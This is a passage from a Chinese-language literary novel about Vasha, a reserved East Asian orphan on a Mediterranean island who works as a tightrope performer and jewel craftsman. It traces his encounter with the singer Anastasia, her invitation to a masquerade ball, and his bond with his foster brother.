《走在钢丝上的人》 1. 第一章 关于童年,瓦沙的记忆很少。 他能够时常记起来的,是父亲和卡拉米一起带他去西西里海岸找船的时光。那时天气并不十分晴朗,天边从海面升起乌云,海面静静地倒映在灰暗的天空之下,在他眼里像是一块巨大的翡翠石打碎了,从里面流出来了祖母绿色冰冷的血液。 他在岸上朝着远处看去,沙砾连接着铺陈的海风,阳光为海风注入了气息,整片空气都变得干燥明烈,他身上冒着热气,有种自己要被太阳的光芒灼射穿的错觉。 卡拉米告诉他眼前的海藻团块里,那里有一条蛇。 他什么都没有看见,只看到了沙滩上的海藻,它们轻轻地飘动。他伸手碰到那团海藻,软绵绵地如同轻盈的云朵。 他们已经搬来法唯尼亚纳很长时间了。父亲直到死前一刻还惦记着那艘船,据他所说,是带领他们从东海穿过南海,再到孟加拉湾,穿过阿拉伯海与红海,最终抵达地中海的远洋号。 他的母亲死在了船上,当时父亲在船上遇险,另一辆船上的俄罗斯人救了他们。那位俄罗斯的远洋客正是卡拉米。卡拉米并不叫卡拉米,卡拉米名叫德米特里.阿列克桑德尔。对于瓦沙的父亲来说,卡拉米的名字过于拗口,后来他们的关系很好,父亲亲切地称呼德米特里为卡拉米。 来到法唯尼亚纳之后,亲切的卡特米为他们办了身份证明,他的名字是父亲取的,在俄语音译里是“东方”的意思。他刚出生时,父亲总是亲切地叫他瓦沙伯奇尼。时间长了,他的名字变成了瓦沙,对于生病的父亲来说,呼唤他成为了难事。 父亲临死的时候神智已经不清晰,仍然认为他们还在船上,海面上折射的波纹成为了镇魂曲,让父亲魂归在安然的睡梦之中。 卡拉米在父亲死后十年去世,那是他二十二岁的时候。他是一名勤奋的钟表匠,会修理各种各样的老式钟表,除了钟表之外,他还会用枫木做小提琴。他和隔壁花房安东尼奥的女儿海伦娜结婚,生下了小卡拉米。 瓦沙的父亲在十二岁时去世,他从十二岁到二十二岁一直在卡拉米身边生活,陪伴在海伦娜和小卡拉米身边。尽管他和小卡拉米相差了十岁,他们仍然是很好的朋友,就像他们的父亲那样。海伦娜待他视如己出,不嫌弃他的黑色头发黑色眼睛、他黄色的皮肤,矮小的身材,总是为他准备和小卡拉米一样崭新的衣服鞋子,用毛刷把它们处理的一尘不染。日复一日,海伦娜为他们准备可口的奶酪蛋糕、苹果薄饼,柔软奶油煮开的蘑菇汤。每天回来,他们都能在客厅里看到生长的枝叶翠绿的南洋杉与竖直绽开的粉黄郁金香。 他的成长受了卡拉米和海伦娜的影响,卡拉米教会了他修理机械表、做小提琴,用宝石、羽毛,珍珠拼成漂亮的饰品。海伦娜则充实了他的心灵,让他变得喜好阅读、心灵越发的细腻温柔,长时间地花费时间在探索自然与思考之中。 五年之后海伦娜也去世了。他在镇上找了一份半永久性质的工作,工作以外的时间靠着修理机械表、向岛外的突尼斯商人和威尼斯商人出售饰品与小提琴为生,另外,受了父亲的影响,他无师自通地学会了榫卯结构的原理。他用榫卯结构做出来的小型家具。再使用漆艺为它们装点饰物和颜色,这些小型家具十分受欢迎,令他的生活不至于困倒。 至于那份半永久性质的工作,自从那不勒斯与波蒂奇通了第一条铁路之后,三十年的时间过去,铁路已经遍布南北,法唯尼亚纳每年都会招待大量来自世界各地的游客。镇上因此多了许多咖啡馆、陈列商品的店铺,充满意式风情的酒馆。除此之外,还修建了游乐场和剧院,游乐场和动物园连接在一起,它们都在靠近海边的海滨公园那里。瓦沙的工作地点在游乐场,那些从突尼斯过来的商人会各种各样吸引游客的手段,其中之一就是马戏团。 他们能够让训练有素的狮子穿过火圈、狮子匍匐在他们脚边,从野兽变成了乖巧的大型家猫,他们从家乡带来的眼镜蛇,眼镜蛇乖乖地缠绕在他们身上,有时会让它们两两关在一个笼子里互相吞噬。他们在自己脸上画上油彩扮演小丑,称自己是黑色死神,总是用没有表情的脸把孩子们吓得大哭,之后再给孩子们漂亮的复活节糖果,让孩子们纷纷转变笑脸,吟唱赞美诗。 在游乐场连接动物园的上空,那里有一截虎口粗的钢丝。每周二和周四的晚上八点,有人会踩在上面,如同漂浮在天上的沉重气球,从游乐场走到动物园墙壁的那一端,直到圣母雕像那片镂空的墙。 这份工作没有那么难,只需要每周工作两天,瓦沙的背后吊有一截透明的绳子,加上他穿上突尼斯商人为他准备的特制鞋子,走在钢丝上就好像走在云彩上,轻飘飘却又得心应手。因为这一项活动,让游乐场的门票场场售空,也成为了整座法-□□亚纳最瞩目的项目,人们称呼他来自东方的天使。 他在游乐场收到了不菲的收入,尽管这份工作令人充满担忧。他模糊的心里却有某种直觉,当他走在钢丝上,由于他平静的心情、敏锐的专注力,他能够将这份工作做到极致,成为最完美的钢丝艺人。 大部分的收入,都被瓦沙用来购买各种各样的宝石,突尼斯商人手里总有各种各样的宝石,他用它们雕琢、点缀成首饰,做成精美的书页。有的时候,他能按照记忆里对家乡模糊的概念,雕刻出长有长长绮丽羽毛的凤凰,尾巴舒展的四不像的“蛇”,大红色交织的屋檐瓦片,亦或是祖母总是在桌子上竖起来的竹木筷。 他在法唯尼亚纳租了一间小小的房子,后面是一片空地,他亲自安置了栅栏,从木材商那里收了很多便宜的潮湿木头,把那些木头拆卸成木板,再用钉子按照细细长长的板块将它们两两钉在一起。一片飘零的十字林交织,至于那些松软的泥土,他在里面种满了海伦娜生前喜欢的花。 小卡拉米没有继承卡拉米那些手艺,却将爱好延伸到了小提琴,他带着卡拉米遗世前做的最好的乌木琴,去了佛罗伦萨的音乐学院。每年随着游客的人潮来到小岛,又在旅游季节消逝时向退潮那样离开这座岛。小卡拉米总会在那时回到这座岛上。 对于小卡拉米喜爱的小提琴,瓦沙没有那方面音乐的才能,当琴弦拉动时,小卡拉米的脑袋轻轻靠在肩膀上,身影随之缓慢摇曳,让他想起来雨后打湿的郁金香,随着音律在翩翩起舞。 淅淅沥沥的雨淋湿屋檐,那一丛丛的十字架被花草点缀的五彩缤纷,透出朦胧的斑影。马上又到了新一季的游客潮,这也意味着小卡拉米要回来了。瓦沙像往常一样,他准备好了雨伞、白手套,雨靴,一副小型支架,放置白手套的油纸袋。 下雨天的游乐场照常开放,却取消了走钢丝的活动,还有那些马戏团里的动物们,它们在今天也放假了。瓦沙仍然要去一趟工作室,雨天游乐场的许多活动取消了,剧院仍然在开着。据说从法国来了演出的女郎,她们从最负盛名的歌剧院过来,奉命在这里演出,还伴随着某位大人物,来他们这座小岛上度假的某位男爵。费德里科不知道从哪里得到了去剧院看演出的票据,用两枚漂亮的宝石换瓦沙代替轮值。 据费德里科所说,负责人也会去剧院,这一天不会管游乐场谁轮值谁没有到工位上,只要游乐场正常运行,并且他在剧院的时候避开代理人乔瓦尼的视线位置,费德里科再三确定他已经知道乔瓦尼的座位在几排几号,他会尽可能换到最远的位置,为了能够看到法国女郎演出的《弄臣》和《蝴蝶夫人》到底和威尼斯剧院的演出有什么区别。 瓦沙得到了两颗宝石,尽管这两颗宝石不过是费德里科捡来的宝石,他仍然答应了。他检查了工作室的设备,这里分别有一台包纸机、一台票据的印刷机,一台切纸 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乔瓦尼正是看准了这一点,他利用这间空余的仓库改造成了化妆室,并且收费低廉,声称为每个女孩实现前往威尼斯剧院、前往法国巴黎剧院的梦想,他靠着蜂拥而至的歌女们,大赚了一笔。 瓦沙经常碰到那些女孩们,她们大多是二十岁左右的姑娘,到化妆舞会的时候在隔壁的屋子进进出出。她们身高高挑,活泼充满朝气,有些拥有黑色的卷发,有些从威尼斯商人那里买来了染发膏染成金发,变得金发碧眼,与剧院门口的缪斯女神相似。最令他印象深刻的是名为阿纳斯塔西娅的姑娘。其实他并不认识她,只是经常听见人们这么叫她。 她本身就非常引人注目,无论是按照东方的审美还是西方的审美来看,她都是十足的美人。她拥有灰黑色漂亮茂密的头发,走起路来像是漂浮的海藻,她的眼睛深邃而明亮,充满智慧的光泽,精巧的鼻尖和嘴巴恰到好处,唇畔总是微微扬起来,白色的欧纱长裙在她穿时染上神圣的光泽。尽管瓦沙没有尝过情爱,他血液里带有民族腼腆的部分,让他在异性面前变得孤僻而沉默,面对漂亮像百灵鸟一样的女人们,他总会匆匆从她们身边走过,假装看不见她们。尽管这样,他仍然能够确信,阿纳斯塔西娅,这位名为阿纳斯塔西娅的姑娘,一定有众多追随者。 瓦沙没有一次去剧院看过演出,基于自己的某种直觉,很多镇上的男人们去了剧院之后,他们患上了某种病。这种病并不会导致死亡,仅仅是让他们染上酒瘾和深夜里难以入睡的毛病,他们整晚整晚的辗转反侧,唤着某个人的名字,或许是某个女人,或许是音乐剧里的台词,沉浸在某种可笑的幻想之中。 这是镇上都知道的事情,一个漂亮年轻又有才艺的歌女,她们如此装点自己背后的意义……无论是完成某种展示自身才能的使命,还是嫁给当地的贵公子,或者嫁给某位男爵子爵,哪怕是做对方的情人。无论是哪一种,她们自身带有的浪漫追求,与一位普通的锁匠、或者是职员,相配起来格格不入。 瓦沙每天的生活非常规律,他为自己规划了某段时间做什么,把那些要完成的事情做成了表格,在出行前写上一串字符,那是父亲以前教过他的汉字。他有一本中文字典,是父亲用意大利语亲自整理的。那本字典现在搁置在书架的最角落。那些古老的字符随着时间的流逝,消失在他的记忆之中,他仅仅记得的是几句父亲常念在嘴边的祝福语。 因为帮费德里科执勤,他在下雨天比平常多待了半个小时,他从印刷室出来的时候,隔壁的化妆间已经熄了灯。他拿起自己的白手套、雨伞,小支架,还有油纸袋,当他撑起伞时,他在黑夜中看到了一团微微闪着光的东西。那是一块用上好丝绸编织的手帕,上面镶嵌了珍珠和鸽子图案的纹样,最边缘的位置写了阿纳斯塔西娅的名字。 2. 第二章 那条手帕在瓦沙修理机械表工作台上搁置了三天,这三天里他知道镇上的消息,据说剧院的演出大获成功,那位从法国来的男爵还是葡萄牙或者是奥匈帝国远道而来的子爵,每个人的口信都不一样,只知道他在这座岛上的名字叫做斯特法诺。他继承了家族的巨额遗产,给了当天剧场的工作人员每人一百里拉。还有人说有人收到了那位子爵赠送的金币,有人说是订婚戒指,还有人说是精美的饰品,众口不一。 瓦沙考虑了三天,这三天他忙于往返小岛屿西西里,从西西里那里购买了小时候父亲常常为他用来做茄子汤的茄子。父亲会用平底锅将腌制好的茄子裹上面粉煎成一小块的块状物,然后放入一些肉末一起煮,煮出来的茄子汤充满咸味,却非常鲜香,和海伦娜煮出来的汤汁味道有很大差异,他打算在小卡拉米回来后和他一起煮茄子汤。他可以在那个时候听小卡拉米的练琴成果。原本他是打算、打算把手帕交给费德里科,让费德里科转交给阿纳斯塔西娅。这样一来,如果阿纳斯塔西娅问起来,很有可能会知道那天费德里科并没有去工作室。当然了,这是在费德里科没有做足充分的准备下,总会有那样的意外。人只要撒一次谎,往后会有需要无数个谎言去填补的可能,更有可能因为某次意外而露馅。 第二周的周二天气晴朗,瓦沙带了两颗帕拉伊巴和坦桑石,精密的雕刻盒,那是他自己制作的,里面放置了能够雕刻宝石的雕刻刀。除此之外,他还带了一小块干酪面包、一小包茶叶,两勺白糖和阿纳斯塔西娅的手帕。 下雨时,那些突尼斯商人全部消失了,一旦放晴,他们如同雨后彩虹一样出现,带来了崭新的玩意儿,还有那些被锁在笼子里的动物们,它们也重新活动身体,面对着燃烧的火圈毫无惧意,瓦沙从它们身上甚至看出来了期待。 他询问他经常购买宝石的突尼斯商人,对方的名字叫老阿卜杜勒,老阿卜杜勒告诉他:“它们已经像这样生活了很长的一段时间,除了这些项目之外,它们的生活里没有其他的乐趣。先生,这说起来可能匪夷所思,我想它们完全不需要担心生存,它们已经和普通的需要捕猎的动物们脱离,它们由于人类的眷顾摆脱了生存问题。有的时候我们确实对它们非常严格,会用鞭子抽打它们,直到它们听话为止。它们除了吃饭睡觉仅有的事情就是训练……老天,我敢保证,它们和人们没什么区别,如果解决了温饱问题,适应了这样严苛的训练,它们会变成高度集中精力的马达,一旦停下来,会让它们感到不适应与失落。当然了,动物们并不会将这种失落表现出来,那些只是我的直觉,我有一双能够洞悉它们内心的双眼。” 瓦沙唯一相信的只有自己的直觉,老阿卜杜勒呵呵地看着他,又问他要不要新送来的宝石,在看完成品之后,他又购买了两颗绿松石,那两颗成色很好的绿松石,老阿卜杜勒用一个小小的透明袋子将它们包起来。那对绿松石的形状呈几何形,很适合切割成对半用来制作成耳饰。 当天,他来到了化妆室的门外,里面时不时地传来笑声,他轻轻地敲了敲门,门内的笑声随之止住,一张乖巧素净的脸随之探了出来,那是阿纳斯塔西娅的女伴,她叫罗莎。罗莎也看见了他,其实罗莎早就见过他,对于这位不苟言笑的东方男人,在她们女伴里早就传开,她们甚至还打了赌,可能到她们离开法唯尼亚纳之前,瓦沙可能都不会跟她们主动地讲一句话。她们倒是对他十分好奇,他像是对女人根本不感兴趣的苦行僧一样,听说东方到处都是执掌念珠的佛陀。佛陀不会对女人感兴趣,自然也不会去剧院,酒馆更是不沾,每天的日子枯燥无味,单薄的好像天边的云彩那样,令人毫不感兴趣,见过之后便轻飘飘地飞走了。 “您好,请问您找谁?是进错门了吗,印刷室在旁边的房间才对。”罗莎说道,她带了些捉弄的意思,眨了眨漂亮的眼睛,指了指旁边的房间。 在瓦沙的印象里,这些女人漂亮又能说会道,声音像是百灵鸟一样动听,他已经尽量避开和她们打交道。他因为罗莎的话脸红起来,那是紧张产生的热度,他感到丢脸,低着头拿出来了口袋里的手帕。 没等他反应过来,化妆室还有另外一个人,阿纳斯塔西娅发出了小小的呼喊,大概是太意外了,他触摸到了柔软的东西,那是某位女士的手指,对方身上特有的香气,属于阿纳斯塔西娅身上的气息,甜美而轻盈,她海藻一样的头从他指尖飘过,令他想起童年时光和父亲与卡拉米去找船的日子。 那时卡拉米总是骗他海藻里有蛇,让他伸手去碰。 “原本我还在想掉在哪里了……这位先生,谢谢你把它还给我,它对我来说可是很重要,这是祖母为我缝制的。你不知道我因为它丢失担忧了好几天……还好你把它送来了,您说,我要怎么感谢你才好?”阿纳斯塔西娅对瓦沙说。 瓦沙知道这些仅仅是客套话,他过于的木讷紧张,面前的少女轻盈而充满生机,和他平常看的那些书、触摸的冰冷的宝石,雕刻的器械都不一样,他的舌头仿佛自动打了结。他很像正常地像一位绅士,像他平常对待费德里科那样,冷静地回复对方“不客气”“举手之劳”之类的。可他无法做到,他的额头甚至为此冒出来了一层汗珠,打湿了他的发丝。 “不……不用谢。”他说道,因为他的结巴,他几乎丧失了所有的勇气,在两名少女的注视下败下阵来,险些落荒而逃。 他确实那样做了,在阿纳斯塔西娅和罗莎惊讶的注视下,他同手同脚地出了化妆室,化妆室的每一寸空气都在蚕食着他,令他变得不像自己。阿纳斯塔西娅打开自己的手帕,她掌心里多了一对深邃的绿松石。 上午的事情让瓦沙变得有些忧郁,他有些懊恼,自己表现得过于差劲。或许他应该多和女士们讲讲话,这样至少可以正常和人交流,只和同性才能正常沟通之类的,这听起来非常愚蠢。他从钢丝上圣母像边缘下来,走下来的时候又松了口气,努力地说服自己已经是过去的事情,不必再过多纠结。反正他仍然会和平常一样,与她们匆匆地路过,一句话都不讲。就像之前那样,所以他的担心十分多余。 瓦沙回到家中先整理了一番自己的鞋子,雨天残留的泥垢在皮靴底和鞋面,他用刷子将它们刷的干净,又涂上鞋油放在窗户外面晾晒。他从西西里岛带回来的茄子,它们的形状非常可爱,他把它们全都按照切奶酪那样切好,在煮汤汁的时候不可避免的放入芝士。吃完饭之后,他来到自己的工作台,这里被他整理的井然有序;桌子上放置了他最近在做的蓝摩尔福蝶。他用蓝色的宝石作为蝴蝶的翅膀,用金丝珐琅作为蝴蝶翅膀的纹路,经过他的精雕细琢,蝴蝶的翅膀几乎闪闪发光。在这个时候,他想起来自己老阿卜杜勒那里收来的两颗绿松石,它们或许可以作为蝴蝶的眼睛。 他的口袋里空空,他回想起原本放在口袋里的丝绸手帕,桌子上的蓝摩尔福蝶折射出璀璨的光芒,触角处的缺口仍然有待填补。 一整个夜晚,他无法入睡,惦记着蓝摩尔福蝶,那对蓝色的翅膀一并在他的梦里出现。他梦见自己变成了蝴蝶,深蓝色的翅膀在阳光下变得透明,朝着某处翩跹而去。他飞过了十字架搭建而成的花园,穿过他种植的成片杜鹃,来到了化妆室外,透过彩窗去窥探房间里的少女。 醒来的时候,他分不清变成了蝴蝶,还是蝴蝶变成了他。他仍然记得自己在梦里窥探到的一角美丽的神颜。他想上天有时候十分不公平,人的双目只能够看到别人,而看不到自己。 当他路过镜子的时候,不由得注视镜子中陌生的男子面容,他感到熟悉却又陌生。黑色的头发黑色的眼睛,在这座小岛上绝无仅有,绝无仅有并不意味着珍贵。在遥远的东方大陆,那里有很多他的同胞,所有的人们都和他一样矮小、和他一样瘦弱,和他一样的腼腆忧郁。 “瓦沙伯奇尼。听着,伙计,你能来到这里我十分的高兴,今天并不是你工作的时间,如果你是特意为了看我来到这里……那我十分荣幸。尽管我十分荣幸,你知道的,这该死的游乐场每天都要招待很多从西西里岛过来的孩子,那些突尼斯的商人用了卑鄙的手段哄骗孩子,现在人人都知道我们这里。我们法唯尼亚纳有一座儿童乐园,不但有绝无仅有的马戏团演出,还有这个世界上最蓝的海。我敢说祖母绿色的海洋极其少见,全世界都绝无仅有,我们镇上的女人们,她们使尽了手段来招待游客,没有人真的关注原本生活在这里的人们。每天都要重复地过一件事情,那实在是太糟糕了……瓦沙伯奇尼,感谢你听我讲这些,我并不是在抱怨,只是在看完演出之后……上周剧院的演出,我认为我重新找到了生活的意义。偶尔需要反思一下,当人们瞻仰到美好的东西的时候,总会那样,开始变得不快乐。”费德里科一边说着,一边从陈列柜上拿出一沓威尼斯明信片,在上面贴上假的金箔。 费德里科知道瓦沙总是沉默寡言,准确地来说,是既不抱怨,也不赞美,他总是不在人前展示自己的情绪。或许只是因为他们彼此仍然在一个遥远的关系里,至少瓦沙对待自己的弟弟并不是那样。没错他知道,他知道瓦沙有一个小了十岁的弟弟。 “当然了,瓦沙伯奇尼。我仅仅是在思考生活的意义,或许我需要去书店买一些书来看,我并不会去酒馆,只是因为看了某个演出对某个故事念念不忘,说到这个……阿莱桑德罗。你知道那个蠢小子吧,就是那个得了失眠症的蠢小子,他死了,前天死在了酒馆里,据说死的时候还在念着‘梅菲斯特’‘梅菲斯特’,他把自己当成了来人间接受历练的浮士德。如果我前天在酒馆碰到他,我应该告诉他‘醒醒吧老兄,你明天还要去造船厂砸铁,除了那堆废铁,没什么是真的’。如果不是前天我出门的时候碰到了黑猫过马路,我一定会去酒馆,那么也一定会遇见他,那么也就没有我们现在的对话。” 瓦沙静静地听着,事实上他在苦恼的事情和费德里厄看所说的这些完全没有关系,他仍然愿意聆听,并且告诉费德里科道:“下次如果需要轮岗,请给我马达加斯加的宝石,我需要一些欧泊石。” “瓦沙伯奇尼,”费德里科静静地注视着他,朝他露出来笑容,“我向你保证,不会再有下一次了。瓦沙伯奇尼,让你的欧泊石去见鬼去吧。” 费德里科总是喊他瓦沙伯奇尼,人们都称呼他为瓦沙,费德里科只喊了他两次就记住了他的名字,对于这件事他十分自豪,并且感到有趣。一个东方人叫着不属于自己的名字,瓦沙伯奇尼叫着不属于瓦沙伯奇尼的名字,这点让费德里科感到新鲜,他总是喊他瓦沙伯奇尼。 “对了——瓦沙伯尼奇,你为什么来找我?”费德里科贴完了假金箔,他甚至没办法保证每张金箔的位置一模一样,没什么关系。这个时候,只要对外宣称,这是从某处特制的金子手工冶炼,还能额外向买金箔的客人要一笔手工费。他看向窗外,名为瓦沙伯奇尼的青年已经走了,宝石一样的花窗里,那道身影远去,单薄而消瘦,令他想起前些天他去帮乔瓦尼购置装饰品去过的画室,那里有许多来自佛罗伦萨艺术家的画。有一副他并不记得了,让那幅画见鬼去吧。费德里科想。 瓦沙伯奇尼从印刷室出来,费德里科思维活跃、讲话的时候语速很快,总是能和他聊天南地北,他常常听着费德里科的话而走神,不知道神思飘到了哪里。他来到了自己工作结束的地点,那是一面镂空的白色大理石墙,旁边是一座圣母雕像,镂空的形状根据光的折射而设计,人站在墙后,会有被阳光晒透的错觉。他来到了这里,很多的时刻,他都想在这里种一片玫瑰。圣母神像低垂时,偶尔有那样的时刻,白色的雕像纯洁没有感情,让玫瑰花墙从圣母脸上蔓延,覆盖整座小岛,整片地中海。这后面他并没有去过,他只知道大约通向维罗纳街道的某处,可能是安静的咖啡厅,也可能是热闹的剧院。“瓦沙伯奇尼。”他听见有人在呼唤他,他通过镂空的大理石墙隐约看到了一道身影,百灵鸟一样动听的声音,离得近了他看清了那双眼,那是一双美丽动人的眼睛。事实上,阿纳斯塔西娅正在找他,原本只想透过这面墙让罗莎把信件和绿松石转交给瓦沙,瓦沙却比罗莎先来到了这里。她已经从别人那里知道了他的名字,瓦沙伯奇尼,瓦沙伯奇尼,这个名字她认为和他很合适,刚刚她从那里——剧院门口,看到了圣母雕像那里站了一个人。尽管她的女伴们常常嘲笑这个男人古怪又孤僻,她却在他思考的时候,意识到他的灵魂不同寻常。看来她那么做是对的,她大胆地做了一样行为,邀请瓦沙伯奇尼去化妆舞会。 “瓦沙伯奇尼,或许你已经听说过我的名字。我叫阿纳斯塔西娅,感谢你为我送来了祖母的遗物,这是你的宝石吧。我从手帕里发现了这个——”阿纳斯塔西娅双手穿过了大理石墙,她掌心里摊陈着瓦沙丢失的两颗宝石。 瓦沙在阿纳斯塔西娅出现的时候,记起了自己变成蝴蝶在梦里窥视的模样,梦里只见到了一片侧脸,现在姑娘近在眼前,她身上散发的气息,某种春天花草的气息,像是知更鸟衔了杜鹃花枝。他隐约能够听到自己胸腔里的心脏在跳动,有些懊恼自己的目光总是难以在她身上移开。 上帝为何不让人们的双眼只能看到自己,这样他想——人们或许可以不用在意他人的视线。 “谢谢。”他平静地说道,努力地让自己维持着某种镇定,正要抓住那两颗宝石,阿纳斯塔西娅却比他反应的要快。 阿纳斯塔西娅收回了手,除了那两颗宝石,她的手里还多了一封用蔷薇封边的信。阿纳斯塔西娅注视着他,像观察猫一样观察他的神情,眼里的好奇难以遮掩,对他道:“宝石可以还你,你要在下周六和我一起参加化妆舞会。化妆舞会我想你一定知道……就 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小卡拉米,也就是谢尔盖.阿列克桑德尔回来的那个早上,瓦沙伯奇尼因为弟弟的回来而彻夜未眠,那封信被他搁置在写字台,和小卡拉米的信件搁置在一起。小卡拉米总是极其富有耐心地向他讲述音乐学院里的一切,诸如和列奥纳多成为朋友,他的老师马蒂亚是一位极具有天赋的教师,他认为自己的教师不应该只是待在音乐学院。小卡拉米和列奥纳多一起去罗马的斗兽场,他认为自己经历了一场伟大而热烈的友谊,在罗马那里的寄信处,小卡拉米写了整整十几页信,从罗马斗兽场底下铺着的马蹄石,到万神殿的圆拱梁柱和骑士雕像,盛放着巨大海神头像的真理之口,那枚海神印章成为了信封的漆印。他甚至花了半天的时间去寻找宝石市场,只为了找到适合带给瓦沙作为礼物的石头。小卡拉米绘声绘色地向他描述这一切,并且再三地请求他,如果有机会,他们一起去一趟罗马,去到那不勒斯,去经历独属于他们兄弟二人的旅行。小卡拉米今年十九岁,尽管他在小提琴上的天赋并不那么出众,在瓦沙看来,平庸并不意味着是某种不好的事物,正因为小卡拉米意识到自己没有过于他人的天赋,他用刻苦与热爱装点,在年初获得了马蒂亚的肯定,担任了演出的副主席。 他们在信里已经约定了许多要一起做的事情,瓦沙并没有全部答应。去到罗马,去到那不勒斯,瓦沙伯奇尼……他的心并不依靠抵达多远的远方而充盈,他大部分的时间都想待在自己的工作台。盈余的薪水为小卡拉米交学费、为小卡拉米做一把音色更好的小提琴,在窗台读弟弟寄来的信件,制作漂亮的饰品,或者是那些用机械表机芯拆下来的零件拼凑而成的小动物,他更情愿一直这么呆着。 瓦沙从早上等到了晚上,小卡拉米其实在早上就回来了,他并不是一个人回来的,和他的朋友列奥纳多一起来到了法□□亚纳。小卡拉米和列奥纳多在岛上闲逛了一整天,他们两人无话不谈,无论去到哪里都充满了新鲜感和劲头,导致他忘记了时间,晚上才匆匆忙忙地想起来了和瓦沙的约定。瓦沙并不会因为这件事生气,大多数的时候,瓦沙有自己的事情要做,不会觉得等待是一件困难的事情。瓦沙确实没有生气,他提前准备好了茄子汤,在小卡拉米回来之后,两人一起喝了美味的茄子汤,吃了起司面包,小卡拉米则给瓦沙带了维罗纳街道的咖啡。小卡拉米聚精会神地跟瓦沙讲这座镇上的一切,明明是他们生活了二十年的地方,在小卡拉米的描述下成为了一座崭新的城市。小卡拉米身上特有的生机活力,总是能够感染瓦沙。瓦沙那张总是显得忧郁的面容,只有在小卡拉米面前,才会透出几分温和,小卡拉米令瓦沙从夜晚的海棠花变成了迎风绽开的向日葵。 “哥,我的信你都有收集起来吗?如果是这样的话,我可能要感到抱歉。你寄给我的那些信,原本我都有放在储物柜里。但是我的储物柜里放了很多的东西,我的弦谱、我的松香,我买来的松香都放在储物柜里,还有我的皂片和发油,还有列奥纳多给我买来的画笔……有的时候,它们会莫名其妙的消失,我可能在床头在洗漱架找到它们。抱歉哥,下一次我一定要好好把它们收录起来。”小卡拉米准确无误地看到了写字台上某封不是出自于他手的信件。他的好奇心占了上风,人类总是这样,对于总是倾诉自己烦恼的那一类人,会令人失去窥探欲。反倒是那些不喜表露情绪的人们,总是更加招致人们好奇他们的神秘。 小卡拉米打开了那封信,上面俨然是某位淑女的字迹,邀请瓦沙伯奇尼参加下周的化妆舞会,地点在维罗纳剧院。瓦沙注意到了小卡拉米看到了那封信,某个瞬间,他仍然有些不自在,小卡拉米笑意盈盈地看着他,这份不自在很快就消失了。 “哥,你去吧?化妆舞会听上去很有趣……如果不是下周五我就要离开的话,我一定和你一起去。如果你去的话请一定寄信给我,我和列奥纳多也打算在学校办一场化妆舞会。列奥纳多……哥哥,他简直是一位天才,他每天的练习时间只有我的二分之一,可他的琴和我拉的不相上下,他对任何事都很感兴趣,尽管他是奥尔西尼的贵族,可他对待北方大力发展工业极其不满。他知道很多事情,总是对待一切事物不以寻常的眼光去看待,比如他认为贵族应该被蔑视,他认为贫穷是一种美德,在学校里对待那些出身南方的贫困孩子总是很照顾。”小卡拉米双眼放着光,他提起列奥纳多,眼睛几乎在放着光,一切对他来说寻常人做不到的事情,在他眼里列奥纳多都完成了。 瓦沙从其中嗅出了不同寻常的味道,他对小卡拉米道:“或许像你说的那样,谢尔盖,他是一位十分了不起的人,可能有很多人在某个时期都会对政治极其不满。我的意思是那些事实上距离人们生活很远的事物。想一想你去音乐学院承担着怎样的使命,或许是音乐并不是政治,大多数时候,人们总是会被自己生活以外的事物吸引,那同样非常危险……我希望你能够与危险的事物保持距离。” “我向您保证,哥哥……我从来没有那样的心思。我会努力成为音乐学院的主席,这就是我的使命。”小卡拉米对瓦沙道,他做了一个敬礼的手势,让瓦沙脸上略微忧虑的神情消失。有的时候,谢尔盖认为他们并不只是朋友,瓦沙对他怀有的情感,除了朋友之外,还代替逝去的卡拉米和海伦娜,连同他们对他的爱一起倾注给他。他在夜晚的时候睡觉总是和哥哥睡在一起,瓦沙总是在他入睡之后才会睡,在他每次临走之前,在他的琴箱里塞入两百里拉,有时候是五百里拉。瓦沙做的那些饰品,那些贵族和国外的商人们都很喜欢,如果不是瓦沙的手艺,或许他们的生活要更加拮据。天知道,瓦沙在写字台前工作的模样给他留下了很深刻的记忆,自从他拿起琴弓,想要放下来被懒惰充斥时,总是能够想起来瓦沙。瓦沙仍然在这座孤岛一样的小镇上,他可以去罗马可以去佛罗伦萨,可以很远的地方,瓦沙却只能待在这里。小卡拉米想道,等到他成为音乐首席,可以去米兰演出,可以去到威尼斯,到那个时候,他用赚到的钱带瓦沙一起离开这里,他们可以去美洲,去到更远的地方去。 3. 第三章 托了小卡拉米的福,瓦沙充满决心。像小卡拉米描述的那样,偶尔他或许应该接触人间,而不是总待在冰冷的写字台前。与世隔绝的时间久了,会令他变得和那些宝石一样生硬冰冷。尽管他认为大多数的时候,人只有在独立的时刻才能成为自己,一旦存在于人群中,他属于人群而不属于自己。为了参加化妆舞会,瓦沙用透明的胶板自己做了面具,他难免会加上自己的设计,在他看来大部分商店里售卖的面具毫无特色。说起来,再漂亮的面具也需要使用者本人的气质来装点;他做出来了一张暗色混合着蓝宝石的面具,用了两片孔雀的羽毛来装点,羽毛在眼尾的位置,眼睑下的地方用细碎的宝石点缀,并用璀璨的蛋彩画颜料勾勒出了鱼鳞片细小的纹路。他只是随手做的这些,没想过自己的手艺在一众已经过期的陈列面具之中脱颖而出,令阿纳斯塔西娅一眼就看到了他。 “天哪!”阿纳斯塔西娅像一只轻快的燕子从楼梯下来,她穿过了支撑剧院的梁柱,她换上了一条淡蓝色裙子,裙子外层是纱质蕾丝花纹,宽阔的袖子与长长的裙尾令她行动不便,她只能稍微抬起自己的裙子,露出手腕上的玉石手镯。她的手腕那样瘦弱,瓷石般好像能在他的手掌里被折断。 维罗纳剧院正中央有一扇巴洛克繁复式镜像水晶灯,它并不明亮,只透出微弱的灯光,勉强照亮大厅的一片,人们的身影会折射在菱镜之中,有置身在镜湖的错觉。瓦沙站在湖面上,不远处的少女见到他模样十分欣喜,他透过那张面具能够看到她充斥着笑意的眼,明亮的胜过所有凝聚地中海的祖母绿宝石。原本他还担心,自己扮成这种模样,成为了某种角色融入这里——这并不像他,显然并不合适。人类的视线具有传递情感的功能,当阿纳斯塔西娅欢呼着朝他走来时,他认为一切变得没有那么要紧。他可以戴上这张面具,偶尔扮演不属于自己的角色。 